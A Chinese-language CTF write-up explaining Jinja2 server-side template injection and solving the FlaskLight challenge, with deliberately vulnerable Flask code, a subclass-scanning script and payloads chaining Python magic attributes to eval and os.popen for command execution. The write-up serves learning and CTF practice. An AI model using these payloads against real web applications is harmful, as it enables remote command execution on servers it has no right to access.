当前位置:网站首页>一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI
一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI
2022-08-04 08:49:00 【sGanYu】
目录
做这道题的时候,再次深入了解了一下SSTI,不过发现去讲解这题原理的文章实在是太少了,额也有可能是大佬觉得没有必要讲,不过在这里还是记录一下自己的一些解题思路,一方面也是防止自己忘记。文章会以简单容易理解的方式去理解SSTI的成因,不会设计一些复杂的问题但是还是需要拥有一些python的基础知识的,如有错误,欢迎指正
SSTI
服务器端模板注入(Server-Side Template Injection)
漏洞的主要产生点就是网页模板中的变量被二次渲染时造成的漏洞,服务端接收了用户的恶意输入后,在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,如信息泄露,命令执行,获取权限等等
JinJia模板引擎特点
{ { ... }}:装载一个变量,模板渲染时,会使用传进来的通命名参数将代表的值替换
{% ... %}:装载一个控制语句
{# ... #}:装载一个注释,模板渲染的时候会忽视这个值
无二次渲染的示例:
# 无二次渲染
from flask import *
app = Flask(__name__)
@app.route('/')
def index():
str = request.args.get('s')
html = '<h1>welcome</h1></br></p>{
{str}}</p>'
return render_template_string(html, str=str)
if __name__ == '__main__':
app.run()以上代码中见到的@app.route(’/’),相当于一个路径,设置后,在url后面加上/user就可以访问了,
每一个route后面都必须由一个def函数存在
在pycharm中右击运行

右击运行,以get方式传入参数s,s的值为{ {2*2}}
访问pycharm开启的URL,如下图,{ {2*2}}被打印,代码没有被执行

存在二次渲染的示例:
# 有二次渲染
from flask import *
app = Flask(__name__)
@app.route('/')
def index():
str = request.args.get('s')
html = '<h1>welcome</h1></br></p>%s</p>'%(str)
return render_template_string(html)
if __name__ == '__main__':
app.run()右击运行,用get方式传入s的值,{ {2*2}}代码被执行,2如下图,乘以2的结果为4
例如:{ {}}在Jinja2中作为变量包裹标识符,在渲染的时候会把{ {}}包裹的内容当做变量解析替换,
比如{ {2*2}}会被解析成4

如果在某个页面中找到了如上所示的SSTI漏洞,那么我们可以利用这个注入点,通过s传参,执行
模板引擎的控制语句以及命令
基本思路:利用python中的魔术方法找到所需的函数
当然凡是使用模板的地方都可能会出现SSTI 的问题,SSTI 不属于任何一种语言
漏洞复现
''.__class__ ''的类型是str类型,调用__class__,指向变量所属的类,格式为"变量.__class__"

''.__class__.__mro__ 由于''为str类型,通过str寻找当前类对象的所有继承类,当然__mro__不是唯一的方法,如__base__同样也可以寻找,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找

''.__class__.__mro__[1].__subclasses__() __class__.__mro__以元组形式返还了两个关系,<class 'str'>和<class 'object'>,我们通过索引获取后面的object,再通过__subclasses__找到object对象下的所有子类,当然同样可以通过__class__.__base__.__subclasses__()寻找

这里我利用的是os模块,也就是subclasses()的第133个索引位,如下图

''.__class__.__mro__[1].__subclasses__()[133]通过索引获取<class 'os._wrap_close'>

''.__class__.__mro__[1].__subclasses__()[133].__init__通过__init__初始化类,查看是否有重载,出现wrapper说明已经被重载了

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__通过__globals__寻找所有的方法及变量及参数

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']以上找出了很多的全局变量,以字典的形式输出,这里用'__builtion__'做演示

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']以上全局变量包含eval,利用eval再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ipconfig').read()")命令执行ipconfig
简单来说,和SQL注入很像,循环渐进,找到库名,找表名,找到表名找字段等等,SSTI先找到父类,然后找父类下的子类,初始化后看看是否重载,再通过全局变量找到特定函数进行执行命令

[CSCCTF 2019 Qual]FlaskLight
这道题的漏洞点非常明显,一个是通过题目其实可以猜到这是一道SSTI的题型了,源码也给出了
提示,通过get类型,以search传值

既然目标明确了,那么首先调用class
/?search={
{''.__class__}}
通过str寻找当前类对象的所有继承类
/?search={
{''.__class__.__mro__}}
以元组形式返还了三个关系,<type 'str'>, <type 'basestring'>和 <type 'object'>,通过索引获取后
面的object,再通过subclasses找到object对象下的所有子类
/?search={
{''.__class__.__mro__[2].__subclasses__()}}
那么问题来了,眼前有这么多的子类,如何知道哪一个可以被我们利用并且成功命令执行呢,在第
一个例子里,我们通过globals全局变量获取了builtins,利用eval成功命令执行,那么是否可以编写
一个脚本批量寻找builtins,利用返回的状态码判断哪个子类可以被我们使用
import requests
url = 'http://c77cb43a-a5f0-44dd-bc75-7e531b6a69e5.node4.buuoj.cn:81'
for i in range(1, 100):
payload = "/?search={
{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"
newurl = url + payload
res = requests.get(url=newurl + payload)
if 'builtins' in res.text:
print(newurl)
else:
pass执行结果如下:

那么,payload就显而易见了,利用builtins的eval执行任意命令
/?search={
{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
查看flag,一开始我还以为flag在app.py文件里,以为flag形式改了,真的无语
/?search={
{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
边栏推荐
猜你喜欢

【论文笔记】Dynamic Convolution: Attention over Convolution Kernels

秒懂大模型 | 3步搞定AI写摘要

yolo x 跑起来,详细的不行,且内含800错误解决办法

C语言strchr()函数以及strstr()函数的实现

Typora_Markdown_图片标题(题注)

【JS 逆向百例】某网站加速乐 Cookie 混淆逆向详解

金仓数据库 KDTS 迁移工具使用指南 (5. SHELL版使用说明)

Yolov5更换主干网络之《旷视轻量化卷积神经网络ShuffleNetv2》

leetcode 22.7.31(1)两数之和 (2)整数除法

IntelliJ新建一个类或者包的快捷键是什么?
随机推荐
学会 Arthas,让你 3 年经验掌握 5 年功力
Unity3D data encryption
C语言strchr()函数以及strstr()函数的实现
leetcode 22.7.31(1)两数之和 (2)整数除法
DWB主题事实及ST数据应用层构建,220803,,
Libpq 是否支持读写分离配置
The difference between character stream and byte stream
binder通信实现
.NET深入解析LINQ框架(五:IQueryable、IQueryProvider接口详解)
关于#sql#的问题:后面换了一个数据库里面的数据就不能跑了
技术实现 | 图像检索及其在高德的应用
怎么写专利更容易通过?
leetcode 22.8.1 二进制加法
最近的一些杂感-20220731
<jsp:useBean>动作的使用
研究性学习专题 3_LL(1)语法分析设计原理与实现
Fiddler(一)安装
Fiddler(二)-手机抓包502错误解决方法
金仓数据库 KDTS 迁移工具使用指南 (4. BS 版使用说明)
金仓数据库 KDTS 迁移工具使用指南 (7. 部署常见问题)